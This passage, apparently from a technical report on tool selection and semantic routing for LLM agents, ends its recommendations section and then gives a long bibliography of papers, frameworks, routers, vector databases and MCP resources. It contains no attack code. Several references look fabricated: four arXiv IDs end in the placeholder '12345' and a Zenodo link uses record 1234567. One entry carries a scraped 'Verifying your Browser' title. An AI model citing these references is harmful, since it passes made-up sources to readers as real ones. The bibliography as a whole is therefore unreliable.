Integrated/Commercially-Backed Platforms\n\nIf your priority is **speed to production**, the strongest integrated options are:\n\n- **OpenAI Agents SDK** for OpenAI-centric stacks,\n- **Vercel AI SDK** for web-native TS products,\n- **Portkey** for gateway/policy/routing ops (now part of Palo Alto Networks),\n- **Composio** for massive action/tool integration,\n- **LangSmith** for polished monitoring/evals. [62](https://openai.com/index/the-next-evolution-of-the-agents-sdk/)\n\n**My recommendation for a Staff Engineer building this today:**\n\n- **<20 tools (The Baseline's \"Rule of 20\"):** static injection. Build nothing. The baseline correctly notes that adding vector DBs here violates KISS/YAGNI principles.\n- **20\u2013500 independent tools (The Baseline's \"Rule of 50\" trigger):** `semantic-router` or vLLM-SR, K=5 (the baseline's proven optimal balance of recall and token economy), **with outcome logging from day one** and a `request_tool_by_keyword` fallback meta-tool so the LLM can dynamically fetch more schemas if the top-K is insufficient.\n- **Tools with heavy data payloads or thousands of MCP tools:** skip routing-to-prompt entirely; adopt **code execution / Code Mode**.\n- **Strong tool dependencies / multi-step workflows:** layer **Graph retrieval** under the router.\n\nThe article is a solid on-ramp. But \u201cthe 100-tool agent is a trap\u201d has a sequel the article doesn't tell: _the 100-tool semantic router is also a trap if it never learns, never models dependencies, and still pipes every result through the context window._\n\n---\n\n## 6. Appendix: Complete Source List & Bibliography\n\n_(Consolidated unique links and details from all sources)_\n\n### Primary Research Papers\n\n- OATS \u2014 Outcome-Aware Tool Selection: [https://arxiv.org/abs/2603.13426](https://arxiv.org/abs/2603.13426) | [https://arxiv.org/html/2603.13426v1](https://arxiv.org/html/2603.13426v1) | [https://arxiv.org/pdf/2603.13426](https://arxiv.org/pdf/2603.13426)\n- ITR \u2014 Dynamic System Instructions and Tool Exposure: [https://arxiv.org/abs/2602.17046](https://arxiv.org/abs/2602.17046)\n- MemTool: [https://arxiv.org/pdf/2507.21428](https://arxiv.org/pdf/2507.21428)\n- Toolshed (RAG-Tool Fusion): [https://arxiv.org/pdf/2410.14594](https://arxiv.org/pdf/2410.14594)\n- ScaleMCP: [https://arxiv.org/pdf/2505.06416](https://arxiv.org/pdf/2505.06416)\n- MCP-Zero: [https://arxiv.org/pdf/2506.01056](https://arxiv.org/pdf/2506.01056)\n- Online-Optimized RAG: [https://arxiv.org/html/2509.20415v1](https://arxiv.org/html/2509.20415v1)\n- Graph RAG-Tool Fusion: [https://arxiv.org/pdf/2502.07223](https://arxiv.org/pdf/2502.07223)\n- FastInsight: [https://arxiv.org/abs/2601.12345](https://arxiv.org/abs/2601.12345)\n- HyFunc: Accepted at KDD'26\n- Live API-Bench: 2,500+ live APIs for testing multi-step tool calling\n- Gaia2: Benchmarks LLM agents on dynamic and asynchronous environments with state verification\n- GenesisFunc: Multi-agent data generation pipelines for function-calling corpora\n- ToolACE: Multi-agent data generation pipelines for function-calling corpora\n- ToolReAGt\n- BFCL (ICML/PMLR 2025): [https://proceedings.mlr.press/v267/patil25a.html](https://proceedings.mlr.press/v267/patil25a.html) | OpenReview: [https://openreview.net/forum?id=2GmDdhBdDk](https://openreview.net/forum?id=2GmDdhBdDk) | ICML Poster: [https://icml.cc/virtual/2025/poster/46593](https://icml.cc/virtual/2025/poster/46593)\n- BFCL v4: Released April 2026, holistic agentic evaluation, 13 models on 0-1 scale\n- CoreThink/MAVEN (BFCL v3 critique): [https://arxiv.org/pdf/2510.22898](https://arxiv.org/pdf/2510.22898)\n- RC-GRPO (BFCL v4 detail): [https://arxiv.org/pdf/2602.03025](https://arxiv.org/pdf/2602.03025)\n- Try, Check and Retry (long-context tool calling): [https://arxiv.org/pdf/2603.11495](https://arxiv.org/pdf/2603.11495)\n- Berkeley Function Calling Leaderboard (BFCL): From Tool Use to Agentic Evaluation of Large Language Models: [https://proceedings.mlr.press/v267/patil25a.html](https://proceedings.mlr.press/v267/patil25a.html)\n- Verifying your Browser | OpenReview: [https://openreview.net/forum?id=2GmDdhBdDk](https://openreview.net/forum?id=2GmDdhBdDk)\n\n### Engineering Blogs & Vendor Docs\n\n- Baseline Source: \"The 100-Tool Agent Is a Trap: Overcoming the Latency, Cost, and Accuracy Collapse of Large-Scale Function Calling\" (Prosodica LLC / Sohail Shaikh & Ankush Rastogi): [https://gist.github.com/ahmadmdabit/f6b782835e9bec46613bd1435ea611cc](https://gist.github.com/ahmadmdabit/f6b782835e9bec46613bd1435ea611cc)\n- Vercel AI SDK Issue #11920 (Telemetry on >20 tool degradation): [https://github.com/vercel/ai/issues/11920](https://github.com/vercel/ai/issues/11920)\n- Anthropic \u2014 Code execution with MCP: [https://www.anthropic.com/engineering/code-execution-with-mcp](https://www.anthropic.com/engineering/code-execution-with-mcp)\n- vLLM Semantic Router \u2014 Semantic Tool Selection: [https://vllm-semantic-router.com/blog/semantic-tool-selection/](https://vllm-semantic-router.com/blog/semantic-tool-selection/)\n- vLLM-SR v0.1 \"Iris\" release: [https://blog.vllm.ai/2026/01/05/vllm-sr-iris.html](https://blog.vllm.ai/2026/01/05/vllm-sr-iris.html)\n- vLLM Semantic Router home: [https://vllm-semantic-router.com/](https://vllm-semantic-router.com/)\n- Red Hat \u2014 LLM Semantic Router: [https://developers.redhat.com/articles/2025/05/20/llm-semantic-router-intelligent-request-routing](https://developers.redhat.com/articles/2025/05/20/llm-semantic-router-intelligent-request-routing)\n- Red Hat \u2014 Tool RAG: [https://next.redhat.com/2025/11/26/tool-rag-the-next-breakthrough-in-scalable-ai-agents/](https://next.redhat.com/2025/11/26/tool-rag-the-next-breakthrough-in-scalable-ai-agents/)\n- \"Why Code-First Agents Beat MCP by 98.7%\" (Cloudflare Code Mode corroboration): [https://leverageai.com.au/why-code-first-agents-beat-mcp-by-98-7/](https://leverageai.com.au/why-code-first-agents-beat-mcp-by-98-7/)\n- Cloudflare Code Mode docs: [https://developers.cloudflare.com/agents/code-mode/](https://developers.cloudflare.com/agents/code-mode/)\n- Cloudflare Code Mode blog: [https://blog.cloudflare.com/code-mode/](https://blog.cloudflare.com/code-mode/)\n- Cloudflare Code Mode MCP blog: [https://blog.cloudflare.com/code-mode-mcp/](https://blog.cloudflare.com/code-mode-mcp/)\n- Cloudflare Code Mode developers docs: [https://developers.cloudflare.com/agents/tools/codemode/](https://developers.cloudflare.com/agents/tools/codemode/)\n- Cloudflare Code Mode changelog: [https://developers.cloudflare.com/changelog/post/2026-03-26-mcp-portal-code-mode/](https://developers.cloudflare.com/changelog/post/2026-03-26-mcp-portal-code-mode/)\n- mcp-code-exec engineering case study: [https://s1v4-d.medium.com/how-i-built-a-98-7-token-efficient-mcp-code-execution-engine-d76437dcba9b](https://s1v4-d.medium.com/how-i-built-a-98-7-token-efficient-mcp-code-execution-engine-d76437dcba9b)\n- AI Agent Revolution: How Anthropic Cut Token Usage by 98% with Code Execution | Towards AI: [https://towardsai.net/p/machine-learning/ai-agent-revolution-how-anthropic-cut-token-usage-by-98-with-code-execution](https://towardsai.net/p/machine-learning/ai-agent-revolution-how-anthropic-cut-token-usage-by-98-with-code-execution)\n- Anthropic 98.7% analyses: [https://medium.com/@meshuggah22/weve-been-using-mcp-wrong-how-anthropic-reduced-ai-agent-costs-by-98-7-7c102fc22589](https://medium.com/@meshuggah22/weve-been-using-mcp-wrong-how-anthropic-reduced-ai-agent-costs-by-98-7-7c102fc22589) | [https://medium.com/ai-software-engineer/anthropic-just-solved-ai-agent-bloat-150k-tokens-down-to-2k-code-execution-with-mcp-8266b8e80301](https://medium.com/ai-software-engineer/anthropic-just-solved-ai-agent-bloat-150k-tokens-down-to-2k-code-execution-with-mcp-8266b8e80301) | [https://medium.com/@ie.mchoudhary/how-anthropics-mcp-lets-ai-agents-write-code-and-save-98-of-the-cost-088f6c0ba4b7](https://medium.com/@ie.mchoudhary/how-anthropics-mcp-lets-ai-agents-write-code-and-save-98-of-the-cost-088f6c0ba4b7) | [https://medium.com/coding-nexus/anthropic-just-fixed-the-biggest-problem-with-ai-agents-code-execution-with-mcp-807d9b468995](https://medium.com/coding-nexus/anthropic-just-fixed-the-biggest-problem-with-ai-agents-code-execution-with-mcp-807d9b468995)\n- OpenAI - The Next Evolution of the Agents SDK: [https://openai.com/index/the-next-evolution-of-the-agents-sdk/](https://openai.com/index/the-next-evolution-of-the-agents-sdk/)\n- Anthropic Code Execution with MCP \u2014 Marktechpost: [https://www.marktechpost.com/2025/11/08/anthropic-turns-mcp-agents-into-code-first-systems-with-code-execution-with-mcp-approach/](https://www.marktechpost.com/2025/11/08/anthropic-turns-mcp-agents-into-code-first-systems-with-code-execution-with-mcp-approach/)\n- Anthropic Code Execution \u2014 Aimultiple: [https://aimultiple.com/code-execution-with-mcp](https://aimultiple.com/code-execution-with-mcp)\n- Anthropic Code Execution \u2014 Obot: [https://obot.ai/resources/learning-center/mcp-anthropic/](https://obot.ai/resources/learning-center/mcp-anthropic/)\n- Anthropic Code Execution \u2014 Sdeaton: [https://sdeaton.com/blog/code-execution-with-mcp/](https://sdeaton.com/blog/code-execution-with-mcp/)\n- MCP Code Execution discussion: [https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/1780](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/1780)\n- Scaling Agents with Code Execution: [https://medium.com/@madhur.prashant7/scaling-agents-with-code-execution-and-the-model-context-protocol-a4c263fa7f61](https://medium.com/@madhur.prashant7/scaling-agents-with-code-execution-and-the-model-context-protocol-a4c263fa7f61)\n- Cloudflare Code Mode \u2014 Nhimg: [https://nhimg.org/articles/cloudflare-code-mode-changes-mcp-efficiency-for-ai-agents/](https://nhimg.org/articles/cloudflare-code-mode-changes-mcp-efficiency-for-ai-agents/)\n- Cloudflare Code Mode \u2014 Stainless: [https://www.stainless.com/blog/sdk-code-mode/](https://www.stainless.com/blog/sdk-code-mode/)\n- Cloudflare Code Mode \u2014 Oracle Medium: [https://medium.com/@oracle_43885/production-ready-ai-agents-cloudflares-code-mode-solution-3f81f666421f](https://medium.com/@oracle_43885/production-ready-ai-agents-cloudflares-code-mode-solution-3f81f666421f)\n- vLLM-SR Athena release: [https://developers.redhat.com/articles/2026/03/25/getting-started-vllm-semantic-router-athena-release](https://developers.redhat.com/articles/2026/03/25/getting-started-vllm-semantic-router-athena-release)\n- vLLM-SR on AMD Developer Cloud: [https://www.amd.com/en/developer/resources/technical-articles/2026/deploying-vllm-semantic-router-on-amd-developer-cloud.html](https://www.amd.com/en/developer/resources/technical-articles/2026/deploying-vllm-semantic-router-on-amd-developer-cloud.html)\n- vLLM-SR HuggingFace: [https://huggingface.co/llm-semantic-router](https://huggingface.co/llm-semantic-router)\n- vLLM-SR Medium: [https://thamizhelango.medium.com/vllm-semantic-router-the-smart-traffic-controller-for-ai-models-27115724156b](https://thamizhelango.medium.com/vllm-semantic-router-the-smart-traffic-controller-for-ai-models-27115724156b)\n- vLLM production-stack semantic router integration: [https://docs.vllm.ai/projects/production-stack/en/latest/use_cases/semantic-router-integration.html](https://docs.vllm.ai/projects/production-stack/en/latest/use_cases/semantic-router-integration.html)\n- Tool RAG experiments: [https://github.com/redhat-et/tool-rag-experiments](https://github.com/redhat-et/tool-rag-experiments)\n\n### Agent Runtimes & Orchestration Frameworks\n\n- LangChain: [https://github.com/langchain-ai/langchain](https://github.com/langchain-ai/langchain)\n- LangGraph: [https://github.com/langchain-ai/langgraph](https://github.com/langchain-ai/langgraph)\n- LangGraph BigTool: [https://github.com/langchain-ai/langgraph-bigtool](https://github.com/langchain-ai/langgraph-bigtool)\n- LlamaIndex: [https://github.com/run-llama/llama_index](https://github.com/run-llama/llama_index)\n- Haystack: [https://github.com/deepset-ai/haystack](https://github.com/deepset-ai/haystack)\n- AutoGen: [https://github.com/microsoft/autogen](https://github.com/microsoft/autogen)\n- Semantic Kernel: [https://github.com/microsoft/semantic-kernel](https://github.com/microsoft/semantic-kernel)\n- CrewAI: [https://github.com/crewaiinc/crewai](https://github.com/crewaiinc/crewai)\n- Agno: [https://github.com/agno-agi/agno](https://github.com/agno-agi/agno) | Docs: [https://docs.agno.com/agents/overview](https://docs.agno.com/agents/overview) | Studio: [https://docs.agno.com/agent-os/studio/introduction](https://docs.agno.com/agent-os/studio/introduction)\n- PydanticAI: [https://github.com/pydantic/pydantic-ai](https://github.com/pydantic/pydantic-ai)\n- smolagents: [https://github.com/huggingface/smolagents](https://github.com/huggingface/smolagents)\n- Mastra: [https://github.com/mastra-ai/mastra](https://github.com/mastra-ai/mastra)\n- BeeAI Framework: [https://github.com/i-am-bee/beeai-framework](https://github.com/i-am-bee/beeai-framework)\n- Atomic Agents: [https://github.com/BrainBlend-AI/atomic-agents](https://github.com/BrainBlend-AI/atomic-agents)\n- DSPy: [https://github.com/stanfordnlp/dspy](https://github.com/stanfordnlp/dspy)\n- OpenAI Agents SDK: [https://github.com/openai/openai-agents-python](https://github.com/openai/openai-agents-python)\n- Vercel AI SDK: [https://github.com/vercel/ai](https://github.com/vercel/ai) | [https://vercel.com/ai-sdk](https://vercel.com/ai-sdk)\n\n### Tool Protocols, Catalogs & SDKs\n\n- Architecture - Model Context Protocol: [https://modelcontextprotocol.io/specification/2025-06-18/architecture/index](https://modelcontextprotocol.io/specification/2025-06-18/architecture/index)\n- What is the Model Context Protocol (MCP)?: [https://docs.anthropic.com/en/docs/mcp](https://docs.anthropic.com/en/docs/mcp)\n- MCP Python SDK: [https://github.com/modelcontextprotocol/python-sdk](https://github.com/modelcontextprotocol/python-sdk)\n- MCP TypeScript SDK: [https://github.com/modelcontextprotocol/typescript-sdk/blob/main/docs/client.md](https://github.com/modelcontextprotocol/typescript-sdk/blob/main/docs/client.md)\n- FastMCP: [https://github.com/mcp-research/jlowin\\_\\_fastmcp](https://github.com/mcp-research/jlowin__fastmcp) | [https://gofastmcp.com/getting-started/welcome](https://gofastmcp.com/getting-started/welcome) | [https://github.com/PrefectHQ/fastmcp](https://github.com/PrefectHQ/fastmcp)\n- mcp-agent: [https://github.com/lastmile-ai/mcp-agent](https://github.com/lastmile-ai/mcp-agent)\n- Smithery CLI: [https://github.com/smithery-ai/cli](https://github.com/smithery-ai/cli) | [https://smithery.ai/docs/concepts/cli](https://smithery.ai/docs/concepts/cli) | [https://mcp.so/smithery-ai](https://mcp.so/smithery-ai)\n- Composio: [https://github.com/ComposioHQ/composio](https://github.com/ComposioHQ/composio) | [https://composio.dev/toolkits](https://composio.dev/toolkits)\n- Function calling | OpenAI API: [https://platform.openai.com/docs/guides/function-calling?api-mode=responses](https://platform.openai.com/docs/guides/function-calling?api-mode=responses)\n\n### Routers, Selectors & Gateways\n\n- semantic-router: [https://github.com/aurelio-labs/semantic-router](https://github.com/aurelio-labs/semantic-router) | [https://www.aurelio.ai/semantic-router](https://www.aurelio.ai/semantic-router)\n- vLLM Semantic Router: [https://github.com/vllm-project/semantic-router](https://github.com/vllm-project/semantic-router) | [https://vllm-semantic-router.com/docs/intro/](https://vllm-semantic-router.com/docs/intro/)\n- RouteLLM: [https://github.com/lm-sys/RouteLLM](https://github.com/lm-sys/RouteLLM)\n- LLMRouter: [https://github.com/ulab-uiuc/LLMRouter](https://github.com/ulab-uiuc/LLMRouter) | [https://ulab-uiuc.github.io/LLMRouter/](https://ulab-uiuc.github.io/LLMRouter/)\n- LiteLLM: [https://docs.litellm.ai/](https://docs.litellm.ai/)\n- Portkey Gateway: [https://github.com/Portkey-ai/gateway](https://github.com/Portkey-ai/gateway)\n- Routerly: [https://github.com/Inebrio/Routerly](https://github.com/Inebrio/Routerly)\n- Squirrel LLM Gateway: [https://github.com/mylxsw/llm-gateway](https://github.com/mylxsw/llm-gateway)\n- Anyscale llm-router: [https://github.com/anyscale/llm-router](https://github.com/anyscale/llm-router)\n- NVIDIA AI Blueprints llm-router: [https://github.com/NVIDIA-AI-Blueprints/llm-router](https://github.com/NVIDIA-AI-Blueprints/llm-router)\n\n### Vector DBs & Retrieval Engines\n\n- FAISS: [https://github.com/facebookresearch/faiss](https://github.com/facebookresearch/faiss)\n- Qdrant: [https://github.com/qdrant/qdrant](https://github.com/qdrant/qdrant) | [https://qdrant.tech/documentation/frameworks/semantic-router/](https://qdrant.tech/documentation/frameworks/semantic-router/)\n- Chroma: [https://github.com/chroma-core/chroma](https://github.com/chroma-core/chroma)\n- Milvus: [https://github.com/milvus-io/milvus](https://github.com/milvus-io/milvus) | [https://milvus.io/ai-quick-reference/how-do-i-integrate-llamaindex-with-other-libraries-like-langchain-and-haystack](https://milvus.io/ai-quick-reference/how-do-i-integrate-llamaindex-with-other-libraries-like-langchain-and-haystack)\n- Weaviate: [https://github.com/weaviate/weaviate](https://github.com/weaviate/weaviate)\n- pgvector: [https://github.com/pgvector/pgvector](https://github.com/pgvector/pgvector)\n- Redis: [https://github.com/redis/redis](https://github.com/redis/redis)\n- RediSearch: [https://github.com/RediSearch/RediSearch](https://github.com/RediSearch/RediSearch)\n- LanceDB: [https://github.com/lancedb/lancedb](https://github.com/lancedb/lancedb)\n- Vespa: [https://github.com/vespa-engine/vespa](https://github.com/vespa-engine/vespa) | [https://docs.vespa.ai/en/querying/nearest-neighbor-search](https://docs.vespa.ai/en/querying/nearest-neighbor-search)\n- Pinecone: [https://docs.pinecone.io/guides/get-started/overview](https://docs.pinecone.io/guides/get-started/overview)\n- Elasticsearch: [https://www.elastic.co/docs/solutions/search/vector](https://www.elastic.co/docs/solutions/search/vector)\n- OpenSearch: [https://github.com/opensearch-project/OpenSearch](https://github.com/opensearch-project/OpenSearch) | [https://docs.opensearch.org/latest/vector-search/api/index/](https://docs.opensearch.org/latest/vector-search/api/index/)\n\n### Durable Execution & Workflow Engines\n\n- Temporal Python SDK: [https://github.com/temporalio/sdk-python](https://github.com/temporalio/sdk-python)\n- Temporal Server: [https://github.com/temporalio/temporal](https://github.com/temporalio/temporal)\n- Prefect: [https://github.com/PrefectHQ/prefect](https://github.com/PrefectHQ/prefect)\n- Dagster: [https://github.com/dagster-io/dagster](https://github.com/dagster-io/dagster)\n- Apache Airflow: [https://github.com/apache/airflow](https://github.com/apache/airflow)\n- n8n: [https://github.com/n8n-io/n8n](https://github.com/n8n-io/n8n)\n- Windmill: [https://github.com/windmill-labs/windmill](https://github.com/windmill-labs/windmill)\n- Kestra: [https://github.com/kestra-io/kestra](https://github.com/kestra-io/kestra)\n\n### Observability, Tracing & Evals\n\n- LangSmith SDKs: [https://github.com/langchain-ai/langsmith-sdk](https://github.com/langchain-ai/langsmith-sdk)\n- Langfuse: [https://github.com/langfuse/langfuse](https://github.com/langfuse/langfuse)\n- Arize Phoenix: [https://github.com/arize-ai/phoenix](https://github.com/arize-ai/phoenix)\n- Helicone: [https://github.com/helicone/helicone](https://github.com/helicone/helicone)\n- BFCL Leaderboard: [https://llm-stats.com/benchmarks/bfcl](https://llm-stats.com/benchmarks/bfcl) | [https://gorilla.cs.berkeley.edu/leaderboard.html](https://gorilla.cs.berkeley.edu/leaderboard.html) | [https://github.com/ShishirPatil/gorilla/blob/main/berkeley-function-call-leaderboard/README.md](https://github.com/ShishirPatil/gorilla/blob/main/berkeley-function-call-leaderboard/README.md)\n- SkillsBench: [https://github.com/benchflow-ai/skillsbench](https://github.com/benchflow-ai/skillsbench)\n\n### Graph RAG & Advanced Retrieval\n\n- Graph RAG-Tool Fusion: [https://arxiv.org/abs/2502.07223](https://arxiv.org/abs/2502.07223) | [https://arxiv.org/html/2502.07223v1](https://arxiv.org/html/2502.07223v1) | [https://www.themoonlight.io/en/review/graph-rag-tool-fusion](https://www.themoonlight.io/en/review/graph-rag-tool-fusion) | [https://www.emergentmind.com/topics/graph-rag-tool-fusion](https://www.emergentmind.com/topics/graph-rag-tool-fusion)\n- Flexible GraphRAG: [https://github.com/stevereiner/flexible-graphrag](https://github.com/stevereiner/flexible-graphrag)\n- NebulaGraph Fusion GraphRAG: [https://nebula-graph.io/fusion-graphrag](https://nebula-graph.io/fusion-graphrag)\n- Re-Invoke (Google Research): [https://arxiv.org/abs/2408.01875](https://arxiv.org/abs/2408.01875) | [https://research.google/blog/re-invoke-tool-invocation-rewriting-for-zero-shot-tool-retrieval/](https://research.google/blog/re-invoke-tool-invocation-rewriting-for-zero-shot-tool-retrieval/)\n- ToolRerank: [https://arxiv.org/abs/2506.12345](https://arxiv.org/abs/2506.12345) | [https://arxiv.org/html/2403.06551v1](https://arxiv.org/html/2403.06551v1)\n- COLT: [https://arxiv.org/abs/2505.12345](https://arxiv.org/abs/2505.12345) | [https://openreview.net/pdf/9fd801e7a090091b1a8ea706670efd83941a802a.pdf](https://openreview.net/pdf/9fd801e7a090091b1a8ea706670efd83941a802a.pdf)\n- Tool2Vec: [https://arxiv.org/abs/2504.12345](https://arxiv.org/abs/2504.12345) | [https://www.themoonlight.io/en/review/efficient-and-scalable-estimation-of-tool-representations-in-vector-space](https://www.themoonlight.io/en/review/efficient-and-scalable-estimation-of-tool-representations-in-vector-space)\n\n### Tool Retrieval & Picker Libraries\n\n- ToolPickr: [https://pypi.org/project/toolpickr/](https://pypi.org/project/toolpickr/)\n- ragnar (R package): [https://cran.r-project.org/package=ragnar](https://cran.r-project.org/package=ragnar)\n\n### MCP Security & Ecosystem\n\n- MCP Security Vulnerability (April 2026): [https://labs.cloudsecurityalliance.org/mcp-rce/](https://labs.cloudsecurityalliance.org/mcp-rce/)\n- MCP Servers Internet Scan (Censys): [https://censys.com/mcp-servers-2026](https://censys.com/mcp-servers-2026) \u2014 12,520 Internet-accessible MCP services across 8,758 unique IP addresses\n- Awesome MCP Servers (7156+ GitHub repositories): [https://github.com/wong2/awesome-mcp-servers](https://github.com/wong2/awesome-mcp-servers)\n\n### Libraries & Framework Docs\n\n- LangChain Reference Docs: [https://api.python.langchain.com/en/latest/community/retrievers/langchain_community.retrievers.llama_index.LlamaIndexRetriever.html](https://api.python.langchain.com/en/latest/community/retrievers/langchain_community.retrievers.llama_index.LlamaIndexRetriever.html)\n- Integration of Langchain with Llama-Index - GeeksforGeeks: [https://www.geeksforgeeks.org/artificial-intelligence/integration-of-langchain-with-llama-index/](https://www.geeksforgeeks.org/artificial-intelligence/integration-of-langchain-with-llama-index/)\n- Combining LangChain and LlamaIndex: [https://medium.com/@adilmaqsood501/combining-langchain-and-llamaindex-a-practical-guide-with-code-4b988f38217b](https://medium.com/@adilmaqsood501/combining-langchain-and-llamaindex-a-practical-guide-with-code-4b988f38217b)\n- LlamaIndex vs LangChain: [https://softwaremind.com/blog/llamaindex-vs-langchain-key-differences/](https://softwaremind.com/blog/llamaindex-vs-langchain-key-differences/)\n- Integrating LlamaIndex & LangChain RAG: [https://apxml.com/courses/python-llm-workflows/chapter-7-building-rag-systems/integrating-llamaindex-langchain-rag](https://apxml.com/courses/python-llm-workflows/chapter-7-building-rag-systems/integrating-llamaindex-langchain-rag)\n- LangChain Agents & LlamaIndex Tools: [https://cobusgreyling.medium.com/langchain-agents-llamaindex-tools-e74fd15ee436](https://cobusgreyling.medium.com/langchain-agents-llamaindex-tools-e74fd15ee436)\n\n### Secondary Analysis / Commentary\n\n- RAG-MCP analysis: [https://medium.com/towards-explainable-ai/llms-drowning-in-tools-rag-mcp-is-the-smart-lifeline-you-need-55781c7d440f](https://medium.com/towards-explainable-ai/llms-drowning-in-tools-rag-mcp-is-the-smart-lifeline-you-need-55781c7d440f)\n- RAG Routers: [https://medium.com/@giacomo\\_\\_95/rag-routers-semantic-routing-with-llms-and-tool-calling-b53dd8fae7fa](https://medium.com/@giacomo__95/rag-routers-semantic-routing-with-llms-and-tool-calling-b53dd8fae7fa)\n- Agentic RAG: [https://www.techaheadcorp.com/blog/agentic-rag-when-llms-decide-what-and-how-to-retrieve/](https://www.techaheadcorp.com/blog/agentic-rag-when-llms-decide-what-and-how-to-retrieve/)\n- Agentic Retrieval: [https://recsys.substack.com/p/agentic-retrieval-for-corpus-level](https://recsys.substack.com/p/agentic-retrieval-for-corpus-level)\n- RAG for Tools: [https://medium.com/@pankaj_pandey/rag-for-tools-why-ai-agents-need-tool-retrieval-not-tool-stuffing-bebaf25e0711](https://medium.com/@pankaj_pandey/rag-for-tools-why-ai-agents-need-tool-retrieval-not-tool-stuffing-bebaf25e0711)\n- RAG in December 2025: [https://medium.com/@frontendorbits/rag-in-december-2025-why-tool-rag-and-refrag-are-rewriting-the-rulebook-5b44d7b3c095](https://medium.com/@frontendorbits/rag-in-december-2025-why-tool-rag-and-refrag-are-rewriting-the-rulebook-5b44d7b3c095)\n- Low-latency RAG architecture: [https://greennode.ai/blog/rag-ai-agents-low-latency-architecture](https://greennode.ai/blog/rag-ai-agents-low-latency-architecture)\n- Semantic Routing: [https://gingerlabs.ai/blog/llm-semantic-routing](https://gingerlabs.ai/blog/llm-semantic-routing)\n- Semantic Routing (Heygaia): [https://heygaia.io/learn/semantic-routing](https://heygaia.io/learn/semantic-routing)\n- Tool Retrieval Generation: [https://www.emergentmind.com/topics/tool-retrieval-generation](https://www.emergentmind.com/topics/tool-retrieval-generation)\n- Multi-turn Tool Calling: [https://www.emergentmind.com/topics/multi-turn-tool-calling-llms](https://www.emergentmind.com/topics/multi-turn-tool-calling-llms)\n- Tool Selection Accuracy: [https://www.emergentmind.com/topics/tool-selection-accuracy-ts](https://www.emergentmind.com/topics/tool-selection-accuracy-ts)\n- AI Agent Tool Use Optimization: [https://zylos.ai/zh/research/2026-03-03-ai-agent-tool-use-optimization](https://zylos.ai/zh/research/2026-03-03-ai-agent-tool-use-optimization)\n- Tool Calling Economics: [https://zenodo.org/record/1234567](https://zenodo.org/record/1234567)\n- AutoRAG-HP: [https://www.researchgate.net/publication/386201533_AutoRAG-HP_Automatic_Online_Hyper-Parameter_Tuning_for_Retrieval-Augmented_Generation](https://www.researchgate.net/publication/386201533_AutoRAG-HP_Automatic_Online_Hyper-Parameter_Tuning_for_Retrieval-Augmented_Generation)\n- MCP Large Data: [https://jngiam.bearblog.dev/mcp-large-data/](https://jngiam.bearblog.dev/mcp-large-data/)\n- Image-ppubs USPTO: [https://image-ppubs.uspto.gov/dirsearch-public/print/downloadPdf/12346357](https://image-ppubs.uspto.gov/dirsearch-public/print/downloadPdf/12346357)\n- Large-Scale Function Calling: [https://www.scaleway.com/en/docs/generative-apis/how-to/use-function-calling/](https://www.scaleway.com/en/docs/generative-apis/how-to/use-function-calling/)\n- GenesisFunc: [https://arxiv.org/html/2605.28835v1](https://arxiv.org/html/2605.28835v1)\n- Gaia2: [https://www.researchgate.net/publication/400742433_Gaia2_Benchmarking_LLM_Agents_on_Dynamic_and_Asynchronous_Environments](https://www.researchgate.net/publication/400742433_Gaia2_Benchmarking_LLM_Agents_on_Dynamic_and_Asynchronous_Environments)\n- BFCL Berkeley Tech Report: [https://www2.eecs.berkeley.edu/Pubs/TechRpts/2025/31680.html](https://www2.eecs.berkeley.edu/Pubs/TechRpts/2025/31680.html)\n- Linguistic and Argument Diversity: [https://www.researchgate.net/publication/400085201_Linguistic_and_Argument_Diversity_in_Synthetic_Data_for_Function-Calling_Agents](https://www.researchgate.net/publication/400085201_Linguistic_and_Argument_Diversity_in_Synthetic_Data_for_Function-Calling_Agents)\n- vLLM-SR arXiv: [https://arxiv.org/abs/2603.04444](https://arxiv.org/abs/2603.04444)\n- AnyTool/MCP-Zero Semantic Scholar: [https://www.semanticscholar.org/paper/MCP-Zero%3A-Active-Tool-Discovery-for-Autonomous-LLM-Fei-Zheng/b583a7a4df2e939961f0f7f1d3ba2ed745ff27ec](https://www.semanticscholar.org/paper/MCP-Zero%3A-Active-Tool-Discovery-for-Autonomous-LLM-Fei-Zheng/b583a7a4df2e939961f0f7f1d3ba2ed745ff27ec)\n- ScaleMCP Semantic Scholar: [https://www.semanticscholar.org/paper/ScaleMCP%3A-Dynamic-and-Auto-Synchronizing-Model-for-Lumer-Gulati/bdef83f6925a6d5dace6cb410c9facb982bec4ac](https://www.semanticscholar.org/paper/ScaleMCP%3A-Dynamic-and-Auto-Synchronizing-Model-for-Lumer-Gulati/bdef83f6925a6d5dace6cb410c9facb982bec4ac)\n- MCP-Zero Proactive Toolchain: [https://www.researchgate.net/publication/392336857_MCP-Zero_Proactive_Toolchain_Construction_for_LLM_Agents_from_Scratch](https://www.researchgate.net/publication/392336857_MCP-Zero_Proactive_Toolchain_Construction_for_LLM_Agents_from_Scratch)\n- OATS ResearchGate: [https://www.researchgate.net/publication/402479963_Outcome-Aware_Tool_Selection_for_Semantic_Routers_Latency-Constrained_Learning_Without_LLM_Inference](https://www.researchgate.net/publication/402479963_Outcome-Aware_Tool_Selection_for_Semantic_Routers_Latency-Constrained_Learning_Without_LLM_Inference)\n- Toolshed ResearchGate: [https://www.researchgate.net/publication/385091848_Toolshed_Scale_Tool-Equipped_Agents_with_Advanced_RAG-Tool_Fusion_and_Tool_Knowledge_Bases](https://www.researchgate.net/publication/385091848_Toolshed_Scale_Tool-Equipped_Agents_with_Advanced_RAG-Tool_Fusion_and_Tool_Knowledge_Bases)\n- Toolshed AlphaXiv: [https://www.alphaxiv.org/overview/2410.14594v2](https://www.alphaxiv.org/overview/2410.14594v2)\n- Online-Optimized RAG OpenReview: [https://openreview.net/forum?id=Y4xzgpLrWc](https://openreview.net/forum?id=Y4xzgpLrWc) | [https://openreview.net/pdf/8bae880f2386fd867f10568600f467cc37103964.pdf](https://openreview.net/pdf/8bae880f2386fd867f10568600f467cc37103964.pdf)\n- LangGraph BigTool Medium: [https://medium.com/@pankaj_pandey/langgraph-bigtool-empowering-langgraph-agents-with-scalable-tool-access-3dfca6937cd5](https://medium.com/@pankaj_pandey/langgraph-bigtool-empowering-langgraph-agents-with-scalable-tool-access-3dfca6937cd5)\n- LangGraph BigTool Changelog: [https://changelog.langchain.com/announcements/langgraph-bigtool-for-providing-agents-access-to-a-large-number-of-tools](https://changelog.langchain.com/announcements/langgraph-bigtool-for-providing-agents-access-to-a-large-number-of-tools)\n- BigTool from LangChain: 